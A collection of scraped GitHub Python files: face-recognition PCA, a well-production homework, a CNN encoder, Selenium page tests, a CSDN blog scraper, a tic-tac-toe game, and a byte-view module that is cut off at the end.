np.transpose(normalized_face_vector).dot(normalized_face_vector)\n# print(covariance_matrix)\n\n# STEP4: Calculate Eigen Vectors\n\n\n# STEP5: Select the K best Eigen Faces, K < M\n\nk = 30\nk_eigen_vectors = eigen_vectors[0:k, :]\neigen_faces = k_eigen_vectors.dot(np.transpose(normalized_face_vector))\n\n\n# STEP7: Represent Each eigen face as combination of the K Eigen Vectors\nweights = np.transpose(normalized_face_vector).dot(np.transpose(eigen_faces))\npca_features_path = \"C:/Users/maiho/PycharmProjects/DPT/Face_Recog/features_pca.csv\"\noutput_1 = open(pca_features_path, \"w\")\n\n# use glob to grab the image paths and loop over them\nfor i,imagePath in enumerate(glob.glob(data_path + \"/*.jpg\")):\n\t# extract the image ID (i.e. the unique filename) from the image\n\t# path and load the image itself\n\timageID = imagePath[imagePath.rfind(\"/\") + 1:]\n\timage = cv2.imread(imagePath)\n\n\tfeatures = weights[i]\n\t# write the features to file\n\tfeatures = [str(f) for f in features]\n\n\toutput_1.write(\"%s,%s\\n\" % (imageID, \",\".join(features)))\noutput_1.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# # STEP8: Testing Phase\n# test_add = \"C:/Users/maiho/PycharmProjects/DPT/Face_Recog/s50_15.jpg\"\n#\n# cd = ColorDescriptor((8, 12, 3))\n# # load the query image and describe it\n# query = cv2.imread(test_add)\n# query = cv2.resize(query,(240,360))\n# print(query.shape)\n# features_r = cd.describe(query)\n#\n# features_r = np.asarray(features_r)\n# print(features_r.shape)\n# features_r = features_r.reshape(1440,1)\n# test_normalized_face_vector = features_r - avg_face_vector\n# test_weight = np.transpose(test_normalized_face_vector).dot(np.transpose(eigen_faces))\n# index = np.argmin(np.linalg.norm(test_weight - weights, axis=1))\n# # print(\"------------------\")\n# # print(weights[345])\n# print(index)\n# for i,imagePath in enumerate(glob.glob(data_path + \"/*.jpg\")):\n# if(i==index):\n# result = cv2.imread(imagePath)\n# result = cv2.resize(result, (256, 256))\n# cv2.imshow(\"Result\", result)\n# cv2.waitKey(0)\n\n","repo_name":"thangnvkcn/MultimediaDatabaseAssignment","sub_path":"Face_Recog/features_extraction.py","file_name":"features_extraction.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9711073406","text":"# By submitting this assignment, I agree to the following:\r\n# \"Aggies do not lie, cheat, or steal, or tolerate those who do.\"\r\n# \"I have not given or received any unauthorized aid on this assignment.\"\r\n#\r\n# Name: Daniel Mireles\r\n# Section: 102-540\r\n# Assignment: Lab3b_Act4_Prog1d\r\n# Date: 09/12/2019\r\n#\r\n\r\n#Calculate the production of a well (barrels/day) after a given number of days, for a given initial\r\n#production rate (barrels/day), initial decline rate (barrels/day), and hyperbolic constant (no\r\n#dimensions).\r\nprint(\"This program calculates the production of a well (barrels/day) after a given number of days for a given initial production rate (barrels/day), initial decline rate (barrels/day), and hyperbolic constant.\")\r\nInitial_Production_Rate = float(input(\"Please input the initial production rate in barrels/day: \")) #barrels/day\r\nInitial_Decline_Rate = float(input(\"Please inpute the initial decline rate in barrels/day: \")) #barrels/day\r\nHyperbolic_Constant = float(input(\"Please insert the hyperbolic constant: \")) #NoConstants\r\nArps_Equation = Initial_Production_Rate/((1+(Hyperbolic_Constant*Initial_Decline_Rate*Time))**(1/Hyperbolic_Constant))\r\nDecimal = \"%6.4f\" % Arps_Equation\r\nprint (\"The prodcution of the well is\", Decimal, \"barrels/day.\")\r\n","repo_name":"DannyMireles/Python","sub_path":"Lab3b_Act4_Prog1d.py","file_name":"Lab3b_Act4_Prog1d.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6613761673","text":"\"\"\"\n Use CNN for instances encoder\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\n\nclass CnnEncoder(nn.Module):\n def __init__(self, opt):\n super(CnnEncoder, self).__init__()\n\n self.opt = opt\n\n self.cnn = nn.Conv2d(\n in_channels=1,\n out_channels=opt.hidden_size,\n kernel_size=(opt.cnn_window_size, opt.word_vec_size + 2*opt.position_size),\n stride=(1, 1),\n padding=(1, 0)\n )\n\n self.activation = nn.ReLU()\n\n def forward(self, embeddings):\n \"\"\"\n Encode embeddings, including convolution and max-pooling operations\n\n Args:\n embeddings: [batch_size, num_step, embedding_size]\n Return:\n hidden state of each sentence: [batch_size, hidden_size]\n \"\"\"\n\n embeddings = torch.unsqueeze(embeddings, dim=1)\n embeddings = self.cnn(embeddings)\n\n # Max-pooling\n x, _ = torch.max(embeddings, dim=2)\n x = x.view(-1, self.opt.hidden_size)\n\n return self.activation(x) \n","repo_name":"WHUNLPLab/FAST-NER","sub_path":"nre/layers/encoder/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"72732788626","text":"from random import random\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nclass data:\n def __init__(self, application, credit):\n self.df = application\n self.df2 = credit\n\n def caseOne(self):\n df_pivot = pd.pivot(\n self.df2,\n index='ID',\n values='STATUS',\n columns='MONTHS_BALANCE'\n )\n df_pivot.reset_index(inplace=True)\n df_pivot['window'] = df_pivot.isna().sum(axis=1)\n df_pivot = df_pivot[df_pivot.window > 20]\n df_pivot['due_count'] = np.where((df_pivot.iloc[:, 1:-1]=='0') | (df_pivot.iloc[:, 1:-1]=='1') | (df_pivot.iloc[:, 1:-1]=='2') | (df_pivot.iloc[:, 1:-1]=='3') | (df_pivot.iloc[:, 1:-1]=='4') | (df_pivot.iloc[:, 1:-1]=='5'), 1, 0).sum(axis=1)\n df_clean = pd.merge(self.df, df_pivot[['ID', 'window', 'due_count']], on='ID', how='inner')\n df_clean['isBadCustomer'] = np.where(df_clean.due_count > df_clean.due_count.median(), 1, 0)\n df_validation, df_train = train_test_split(df_clean, test_size=0.3, random_state=0)\n df_train, df_test = train_test_split(df_train, test_size=0.3, random_state=0)\n\n return [df_validation, df_test, df_train]","repo_name":"isaacebi/Data-Science-Project","sub_path":"1. Credit Card Approval/caseData.py","file_name":"caseData.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1175130434","text":"from selenium.common.exceptions import NoAlertPresentException\nfrom .base_page import BasePage\nfrom selenium.webdriver.common.by import By\nfrom .locators import ProductPageLocators\nimport math \n\nclass ProductPage(BasePage, ProductPageLocators):\n def click_add_to_basket_button(self):\n \"\"\"\n Метод для добавления товара в корзину\n \"\"\"\n basket_button = self.browser.find_element(*ProductPageLocators.ADD_TO_BASKET_BTN)\n basket_button.click()\n \n def solve_quiz_and_get_code(self):\n \"\"\"\n Метод для решения задачи в алерте со страницы с промо акцией\n \"\"\"\n alert = self.browser.switch_to.alert\n x = alert.text.split(\" \")[2]\n answer = str(math.log(abs((12 * math.sin(float(x))))))\n alert.send_keys(answer)\n alert.accept()\n try:\n alert = self.browser.switch_to.alert\n alert_text = alert.text\n print(f\"Your code: {alert_text}\")\n alert.accept()\n except NoAlertPresentException:\n print(\"No second alert presented\")\n \n def should_be_product_in_basket(self):\n \"\"\"\n Метод для проверки на соответствие названия товара на странице названию только что добавленного\n \"\"\"\n name = self.browser.find_element(*ProductPageLocators.NAME_OF_PRODUCT)\n second_name = self.browser.find_element(*ProductPageLocators.SECOND_NAME_OF_PRODUCT)\n assert name.text == second_name.text, 'Naming is the same'\n \n def price_in_basket_should_be_match(self):\n \"\"\"\n Метод для проверки на соответствие цены товара на странице цене только что добавленного\n \"\"\"\n price = self.browser.find_element(*ProductPageLocators.PRICE_OF_PRODUCT)\n second_price = self.browser.find_element(*ProductPageLocators.TOTAL_PRICE)\n assert price.text == second_price.text, 'Price is the same'\n \n def should_not_be_success_message(self):\n \"\"\"\n Метод для проверки наличия/отсутствия сообщения об успешном добавлении товара в корзину\n \"\"\"\n assert self.is_not_element_present(*ProductPageLocators.SUCCESS_MESSAGE), \\\n \"Success message is presented, but should not be\"\n \n def should_dissapear_of_success_message(self):\n \"\"\"\n Метод для проверки наличия/отсутствия сообщения об успешном добавлении товара в корзину\n \"\"\"\n assert self.is_disappeared(*ProductPageLocators.SUCCESS_MESSAGE), \\\n \"Success message is not disappeared\"","repo_name":"aidarette/Selenium-Python","sub_path":"pages/product_page.py","file_name":"product_page.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1730359734","text":"import numpy as np\r\nimport cv2\r\n\r\ndef getImage(path):\r\n return cv2.imread(path)\r\n\r\nx = np.array([])\r\n\r\n#Getting all images then reshaping them to 128x128x3 (3 means RGB)\r\nfor i in range(60):\r\n path = 'datas/{}.jpg'.format(i+1)\r\n \r\n image = getImage(path)\r\n \r\n image = cv2.resize(image, (128, 128))\r\n \r\n x = np.append(x, image)\r\n \r\nx = x.reshape((-1, 128, 128, 3))\r\n\r\n#Seperating datas to train and test datas\r\nx_train = np.append(x[:20,...], x[30:50,...]).reshape((-1,128,128,3))\r\nx_test = np.append(x[20:30,...], x[50:,...]).reshape((-1,128,128,3))\r\n\r\ny_train = np.array([])\r\ny_test = np.array([])\r\n\r\n#Labelling datas \r\nfor i in range(x_train.shape[0]):\r\n if i < 20:\r\n y_train = np.append(y_train, 0)\r\n else:\r\n y_train = np.append(y_train, 1)\r\n \r\nfor i in range(x_test.shape[0]):\r\n if i < 10:\r\n y_test = np.append(y_test, 0)\r\n else:\r\n y_test = np.append(y_test, 1)\r\n \r\n \r\ny_train = y_train.reshape((y_train.shape[0],1))\r\ny_test = y_test.reshape((y_test.shape[0],1))\r\n \r\ndata = (x_train, y_train), (x_test, y_test)\r\n\r\n#Save the labeled datas as npy file\r\nnp.save('cat_and_dog', data)\r\n","repo_name":"GHasanKaraman/Cat_Dog_Classifier_CNN","sub_path":"preparingImages.py","file_name":"preparingImages.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7310815995","text":"from turtle import title\n\nimport requests\nfrom html2text import HTML2Text\nfrom lxml import etree\nfrom html import unescape\nimport os\n\n\"\"\"\nrequirements\n打了箭头的才需要手动安装,其余是自动安装的依赖库\ncertifi==2021.10.8\ncharset-normalizer==2.0.7\ncssselect==1.1.0\nhtml2text==2020.1.16 -- <--\nidna==3.3\nlxml==4.6.3 ----------- <--\nrequests==2.26.0 ------- <--\nurllib3==1.26.7\n\"\"\"\n\n\ndef crawl(url):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/95.0.4638.54 Safari/537.36\",\n }\n print(\"在爬了...\")\n # 配置header破反爬\n response = requests.get(url, headers=headers)\n # 200就继续\n if response.status_code == 200:\n html = response.content.decode(\"utf8\")\n # print(html)\n tree = etree.HTML(html)\n # 找到需要的html块\n title = tree.xpath('//*[@id=\"articleContentId\"]/text()')[0]\n block = tree.xpath('//*[@id=\"content_views\"]')\n # html\n ohtml = unescape(etree.tostring(block[0]).decode(\"utf8\"))\n\n print(\"title:\", title)\n save(ohtml, title)\n # 完成!\n print(\"爬完噜!\")\n else:\n print(\"错了错了!\")\n\n\ndef save(html, title):\n if \"output\" not in os.listdir():\n # 不存在输出文件夹就创建\n os.mkdir(\"output\")\n with open(f\"output/{title}.html\", 'w', encoding='utf8') as html_file:\n # 保存html\n html_file.write(html)\n\n with open(f\"output/{title}.md\", 'w', encoding='utf8') as md_file:\n # 保存markdown\n text_maker = HTML2Text()\n # md转换\n md_text = text_maker.handle(html)\n md_file.write(md_text)\n\n\nif __name__ == '__main__':\n # 你想要爬取的文章url\n url = \"https://blog.csdn.net/LW_20180806/article/details/123718853?spm=1001.2014.3001.5502\"\n crawl(url)\n","repo_name":"kixuan/Crawling-around","sub_path":"CSDN文章转md/CSDN笔记.py","file_name":"CSDN笔记.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71833850065","text":"#\n# @lc app=leetcode.cn id=338 lang=python3\n#\n# [338] 比特位计数\n#\n\n# @lc code=start\nclass Solution:\n def countBits(self, n: int) -> List[int]:\n output = []\n for i in range(n+1):\n output.append(bin(i).count(\"1\"))\n return output\n# @lc code=end\n\n","repo_name":"zch0423/leetcode","sub_path":"338.比特位计数.py","file_name":"338.比特位计数.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41168430970","text":"from django.utils import timezone\nfrom .models import Offre\nfrom background_task import background\n\ndef update_expired_offers():\n now = timezone.now()\n expired_offers = Offre.objects.filter(date_of_expiry__lt=now, valable=1)\n\n for offer in expired_offers:\n offer.valable = 0\n offer.stagiaire_set.filter(status__in=[1, 2]).update(status=0)\n offer.save()\n\n@background(schedule=60) # Schedule to run every 60 seconds (adjust as needed)\ndef schedule_update_expired_offers():\n update_expired_offers()","repo_name":"ElbachaliMouad/internshipintel","sub_path":"intellcapstg/stagiaire/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41225655279","text":"\r\ndef Soluiton():\r\n N=int(input())\r\n ans=0\r\n for pw in range(1,N+1):\r\n for d in range(1,10):\r\n if(pw*d <=N):\r\n ans+=1\r\n pw= pw*10\r\n return ans\r\n\r\n\r\n\r\ndef main():\r\n \r\n test=int(input())\r\n for _ in range(test):\r\n print(Soluiton())\r\n \r\n \r\n \r\n \r\n \r\nif __name__==\"__main__\":\r\n main()","repo_name":"TheReinforce43/Competitive-Progamming","sub_path":"B. Ordinary Numbers.py","file_name":"B. Ordinary Numbers.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11226923375","text":"# tic tac toe by FE\r\n\r\n# playing board\r\ndef board():\r\n print (\"\\n\")\r\n print (\"\\033[47m\"+ ttt1[0] +\"|\"+ ttt1[1] +\"|\"+ ttt1[2] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt[0] +\"|\"+ ttt[1] +\"|\"+ ttt[2] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt2[0] +\"|\"+ ttt2[1] +\"|\"+ ttt2[2] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt1[3] +\"|\"+ ttt1[4] +\"|\"+ ttt1[5] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt[3] +\"|\"+ ttt[4] +\"|\"+ ttt[5] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt2[3] +\"|\"+ ttt2[4] +\"|\"+ ttt2[5] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt1[6] +\"|\"+ ttt1[7] +\"|\"+ ttt1[8] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt[6] +\"|\"+ ttt[7] +\"|\"+ ttt[8] +\"\\033[0m\")\r\n print (\"\\033[47m\"+ ttt1[6] +\"|\"+ ttt1[7] +\"|\"+ ttt1[8] +\"\\033[0m\")\r\n print (\"\\n\")\r\n return\r\n\r\n# player 1 and payer 2 plays\r\ndef play1():\r\n try:\r\n var = int(input (\"Your turn \\033[44m\"+ p1 +\"\\033[0m!\\n\"))\r\n var = var - 1\r\n if (var in t): # used to check if play is valid and check box on board\r\n ttt[var] = (\"\\033[44m \\033[47m\")\r\n ttt1[var] = (\"\\033[44m \\033[47m\")\r\n ttt2[var] = (\"\\033[44m_______\\033[47m\")\r\n t[var] = (\"null\") # removes position from play\r\n xxx.append (var) # adds position to X(blue) played\r\n else: # screams invalid position of play\r\n board()\r\n print (\"\\n\\n\\nChoose a valid position \\033[34m\"+ p1 +\"\\033[0m!\")\r\n play1()\r\n return\r\n except ValueError: # if not int input, ask for int input\r\n board()\r\n print(\"Incorrect input, Try again.\")\r\n print(\"Choose an available position on the board.\\n\")\r\n play1()\r\n\r\ndef play2():\r\n try:\r\n var = int(input (\"Your time to play \\033[33m\"+ p2 +\"\\033[0m!\\n\"))\r\n var = var - 1\r\n if (var in t):\r\n ttt[var] = (\"\\033[43m \\033[47m\")\r\n ttt1[var] = (\"\\033[43m \\033[47m\")\r\n ttt2[var] = (\"\\033[43m_______\\033[47m\")\r\n t[var] = (\"null\")\r\n ooo.append (var)\r\n else:\r\n board()\r\n print (\"Choose a valid position \\033[33m\"+ p2 +\"\\033[0m!\")\r\n play2()\r\n except ValueError:\r\n board()\r\n print(\"Incorrect input, Try again\\n\")\r\n play2()\r\n\r\n# check win \r\ndef win(xoro):\r\n array2 = [[0, 1, 2], [0, 4, 8], [0, 3, 6], [1, 4, 7], [2, 5, 8], [3, 4, 5], [6, 7, 8], [2, 4, 6]] # winning plays\r\n x = y = qwerty = 0\r\n for x in range (8):\r\n count = 0\r\n for y in range (3):\r\n for qwerty in range (len(xoro)):\r\n if xoro[qwerty] == array2[x][y] :\r\n count = count + 1\r\n if count == 3: # a winning combination was inserted by one player\r\n if xoro == xxx: # player 1 wins \r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[44mCongrats \" + p1 + \"!! You've won the game.\\033[0m\\n\")\r\n input(\"\\033[44mPress any key to exit\\033[0m\")\r\n print(\"\\n\\n\\n\\n\\n\\033[44mBye!\\033[0m\\n\\n\\n\\n\\n\\n\")\r\n exit()\r\n else: # player 2 wins\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n print (\"\\n\\033[43mCongrats \" + p2 + \"!! You've won the game.\\033[0m\\n\")\r\n input(\"\\033[43mPress any key to exit\\033[0m\")\r\n print(\"\\n\\n\\n\\n\\n\\033[43mBye!\\033[0m\\n\\n\\n\\n\\n\\n\")\r\n exit()\r\n qwerty = qwerty + 1\r\n y = y + 1 \r\n x = x + 1\r\n\r\n# game\r\ndef game():\r\n board()\r\n play1()\r\n board()\r\n play2()\r\n board()\r\n play1()\r\n board()\r\n play2()\r\n board()\r\n play1()\r\n board()\r\n win(xxx)\r\n play2()\r\n board()\r\n win(ooo)\r\n play1()\r\n board()\r\n win(xxx)\r\n play2()\r\n board()\r\n win(ooo)\r\n play1()\r\n board()\r\n win(xxx)\r\n\r\n# reset and start again\r\ndef reset():\r\n ttt = [' 1 ', ' 2 ', ' 3 ', ' 4 ', ' 5 ', ' 6 ', ' 7 ', ' 8 ', ' 9 ']\r\n ttt1 = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\r\n ttt2 = ['_______', '_______', '_______', '_______', '_______', '_______', '_______', '_______', '_______']\r\n t = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n xxx = []\r\n ooo = []\r\n \r\n\r\n\r\n# defining tables\r\nttt = [' 1 ', ' 2 ', ' 3 ', ' 4 ', ' 5 ', ' 6 ', ' 7 ', ' 8 ', ' 9 ']\r\nttt1 = [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\r\nttt2 = ['_______', '_______', '_______', '_______', '_______', '_______', '_______', '_______', '_______']\r\nt = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\nxxx = []\r\nooo = []\r\n\r\n# defining players name, colours and welcome screen\r\np1 = input (\"\\n\\n\\n\\033[34mPlayer One, Insert your Name: \\033[0m\\n \") \r\np2 = input (\"\\n\\n\\n\\033[33mPlayer Two, Insert your Name: \\033[0m\\n \") \r\nprint (\"\\n\\n\\nWelcome \\033[34m\"+ p1 +\"\\033[0m!\\n You'll play with the \\033[34mBlue\\033[0m.\\n\") \r\nprint (\"\\nHi there, \\033[33m\"+ p2 + \"\\033[0m.\\n You'll play with the \\033[33mYellow\\033[0m.\\n\\n\")\r\n\r\n# printing game rules\r\ninput(\"Press ENTER to see Game Rules\\n\")\r\nboard()\r\nprint (\"\\033[45mIt's a simple game. You have to place tic tac and toe in a line.\\033[0m\")\r\nprint (\"\\n\\033[45mChoose the number of the square you want to play.\\033[0m\")\r\n\r\n# continue and confirming fisrt play\r\nprint(\"\\n\\033[34m\"+ p1 +\"\\033[0m will play first.\\n\")\r\nprint(\"\\033[33m\"+ p2 +\"\\033[0m will play last.\\n\\n\")\r\ninput(\"\\n\\nPress ENTER to continue \\n\\n\")\r\n\r\n# start game\r\ngame() ","repo_name":"Jammer23rd/TTT","sub_path":"ttt.py","file_name":"ttt.py","file_ext":"py","file_size_in_byte":6742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70892896465","text":"#!/usr/bin/env python3\n\n'''\n Operating on artifacts in Byte-alignment\n ----------------------------------------\n'''\n\nimport html\n\nfrom itertools import zip_longest\n\nfrom ..base import artifact\nfrom ..base import tree\n\nOV_LIMIT = 1<<20\n\nclass Octets(tree.TreeLeaf):\n ''' ... '''\n\n def __init__(self, up, lo, width=None, hi=None, name=None):\n if hi is None:\n assert width is not None\n hi = lo + width\n assert hi > lo\n if hi - lo > OV_LIMIT:\n print(\n up.this,\n \"Big ov::Octets 0x%x\" % (hi - lo),\n hex(lo),\n hex(hi),\n )\n assert False\n self.up = up\n self.this = up.this\n if name is None:\n name = self.__class__.__name__\n self.ov_name = name\n super().__init__(lo, hi)\n\n def __len__(self):\n return self.hi - self.lo\n\n def __getitem__(self, idx):\n return self.this[self.lo + idx]\n\n def __iter__(self):\n yield from self.this[self.lo:self.hi]\n\n def __str__(self):\n try:\n return \" \".join(self.render())\n except:\n return str(super())\n\n def octets(self):\n return self.this[self.lo:self.hi]\n\n def iter_bytes(self):\n if self.this.byte_order is None:\n yield from self.octets()\n return\n\n def group(data, chunk):\n i = [iter(data)] * chunk\n return zip_longest(*i, fillvalue=0)\n\n for i in group(self.octets(), len(self.this.byte_order)):\n for j in self.this.byte_order:\n yield i[j]\n\n def insert(self):\n self.up.insert(self)\n return self\n\n def render(self):\n octets = self.this[self.lo:self.hi]\n fmt = \"%02x\"\n tcase = self.this.type_case.decode(octets)\n yield \" \".join(fmt % x for x in octets) + \" |\" + tcase + \"|\"\n\nclass This(Octets):\n ''' A new artifact '''\n\n def __init__(self, up, *args, **kwargs):\n super().__init__(up, *args, **kwargs)\n self.this = up.this.create(start=self.lo, stop=self.hi)\n\n def render(self):\n yield self.this\n\nclass Opaque(Octets):\n\n def __init__(self, *args, rendered=None, **kwargs):\n super().__init__(*args, **kwargs)\n self.rendered = rendered\n self.that = None\n\n def artifact(self):\n self.that = self.up.this.create(start=self.lo, stop=self.hi)\n return self.that\n\n def render(self):\n if self.that:\n yield self.that\n elif self.rendered is None:\n yield \"Opaque[0x%x]\" % (self.hi - self.lo)\n else:\n yield self.rendered\n\ndef Text(width):\n class Text_Class(Octets):\n ''' Text String '''\n WIDTH = width\n def __init__(self, *args, **kwargs):\n kwargs[\"width\"] = self.WIDTH\n super().__init__(*args, **kwargs)\n self.txt = self.this.type_case.decode(self.this[self.lo:self.hi])\n self.txt = self.this.type_case.decode(self.iter_bytes())\n\n def render(self):\n yield \"»\" + self.txt + \"«\"\n\n return Text_Class\n\nclass HexOctets(Octets):\n ''' Octets rendered without text column '''\n\n def render(self):\n yield \"\".join(\"%02x\" % i for i in self)\n\nclass Octet(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=1, **kwargs)\n self.val = self.this[lo]\n\n def render(self):\n yield \"0x%02x\" % self.val\n\nclass Le16(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=2, **kwargs)\n self.val = self.this[lo + 1] << 8\n self.val |= self.this[lo]\n\n def render(self):\n yield \"0x%04x\" % self.val\n\nclass Le32(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=4, **kwargs)\n self.val = self.this[lo + 3] << 24\n self.val |= self.this[lo + 2] << 16\n self.val |= self.this[lo + 1] << 8\n self.val |= self.this[lo]\n\n def render(self):\n yield \"0x%08x\" % self.val\n\nclass Be16(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=2, **kwargs)\n self.val = self.this[lo] << 8\n self.val |= self.this[lo + 1]\n\n def render(self):\n yield \"0x%04x\" % self.val\n\nclass Be32(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=4, **kwargs)\n self.val = self.this[lo + 0] << 24\n self.val |= self.this[lo + 1] << 16\n self.val |= self.this[lo + 2] << 8\n self.val |= self.this[lo + 3]\n\n def render(self):\n yield \"0x%08x\" % self.val\n\nclass Re32(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=4, **kwargs)\n self.val = self.this[lo + 2] << 24\n self.val |= self.this[lo + 3] << 16\n self.val |= self.this[lo + 0] << 8\n self.val |= self.this[lo + 1]\n\n def render(self):\n yield \"0x%08x\" % self.val\n\nclass Me32(Octets):\n def __init__(self, up, lo, **kwargs):\n super().__init__(up, lo, width=4, **kwargs)\n self.val = self.this[lo + 1] << 24\n self.val |= self.this[lo + 0] << 16\n self.val |= self.this[lo + 3] << 8\n self.val |= self.this[lo + 2]\n\n def render(self):\n yield \"0x%08x\" % self.val\n\nclass Struct(Octets):\n ''' ... '''\n\n def __init__(self, up, lo, vertical=False, more=False, pad=0, **kwargs):\n self.fields = []\n self.vertical = vertical\n self.lo = lo\n self.hi = lo\n self.up = up\n self.args = {}\n for name, width in kwargs.items():\n if name[-1] == \"_\":\n self.addfield(name[:-1], width)\n else:\n self.args[name] = width\n if not more:\n self.done(pad=pad)\n\n def done(self, pad=0):\n if pad:\n self.hide_the_rest(pad)\n super().__init__(self.up, self.lo, hi = self.hi, **self.args)\n del self.args\n\n def addfield(self, name, what):\n ''' add a field to the structure '''\n assert hasattr(self, \"args\")\n if name is None:\n name = \"at%04x\" % (self.hi - self.lo)\n if isinstance(what, int):\n y = HexOctets(self.up, self.hi, width=what)\n z = y\n else:\n y = what(self.up, self.hi)\n z = y\n self.hi = y.hi\n setattr(self, name, z)\n self.fields.append((name, y))\n return y\n\n def hide_the_rest(self, size):\n ''' hide the rest of the space occupied by the structure '''\n assert hasattr(self, \"args\")\n assert self.lo + size >= self.hi\n if self.lo + size != self.hi:\n self.addfield(\"at%x_\" % self.hi, self.lo + size - self.hi)\n\n def suffix(self, adr):\n return \"\\t// @0x%x\" % (adr - self.lo)\n\n def render(self):\n assert not hasattr(self, \"args\")\n if not self.vertical:\n i = []\n for name, obj in self.fields:\n if name[-1] != \"_\":\n i.append(name + \"=\" + \"|\".join(obj.render()))\n yield self.ov_name + \" {\" + \", \".join(i) + \"}\"\n else:\n yield self.ov_name + \" {\"\n for name, obj in self.fields:\n if name[-1] != \"_\":\n j = list(obj.render())\n j[0] += self.suffix(obj.lo)\n yield \" \" + name + \" = \" + j[0]\n if len(j) > 1:\n for i in j[1:-1]:\n yield \" \" + i\n yield \" \" + j[-1]\n yield \"}\"\n\n\n\nclass OctetView(tree.Tree):\n ''' ... '''\n\n def __init__(self, this, max_render=None, default_width=16):\n self.this = this\n hi = len(this)\n super().__init__(\n lo = 0,\n hi = hi,\n limit = 1<<16,\n )\n if max_render is None:\n max_render = hi\n self.max_render = max_render\n self.default_width = default_width\n self.adrfmt = \"%%0%dx\" % len(\"%x\" % self.hi)\n\n def pad(self, lo, hi):\n assert hi > lo\n width = self.default_width\n if hi - lo <= width:\n yield Octets(self, lo, hi=hi)\n return\n i = lo % width\n if i:\n yield Octets(self, lo, width - i)\n lo += width - i\n while lo + width <= hi:\n yield Octets(self, lo, width)\n lo += width\n if lo < hi:\n yield Octets(self, lo, hi = hi)\n\n def prefix(self, lo, hi):\n return \"0x\" + self.adrfmt % lo + \"…\" + self.adrfmt % hi\n\n def pad_out(self):\n lo = 0\n prev = None\n for i in sorted(self):\n if i.lo < lo:\n print(\"Overlap\", self.this)\n print(\" this: \", hex(i.lo), hex(i.hi), i)\n for n, j in enumerate(i.render()):\n print(\"\\t\" + str(j))\n if n > 5:\n break\n if prev is None:\n print(\" prev: None\")\n else:\n print(\" prev: \", hex(prev.lo), hex(prev.hi), prev)\n for n, j in enumerate(prev.render()):\n print(\"\\t\" + str(j))\n if n > 5:\n break\n if i.lo > lo:\n yield from self.pad(lo, i.lo)\n yield i\n lo = i.hi\n prev = i\n if lo < self.hi:\n yield from self.pad(lo, self.hi)\n\n def render(self, title=\"OctetView\"):\n ''' Render via 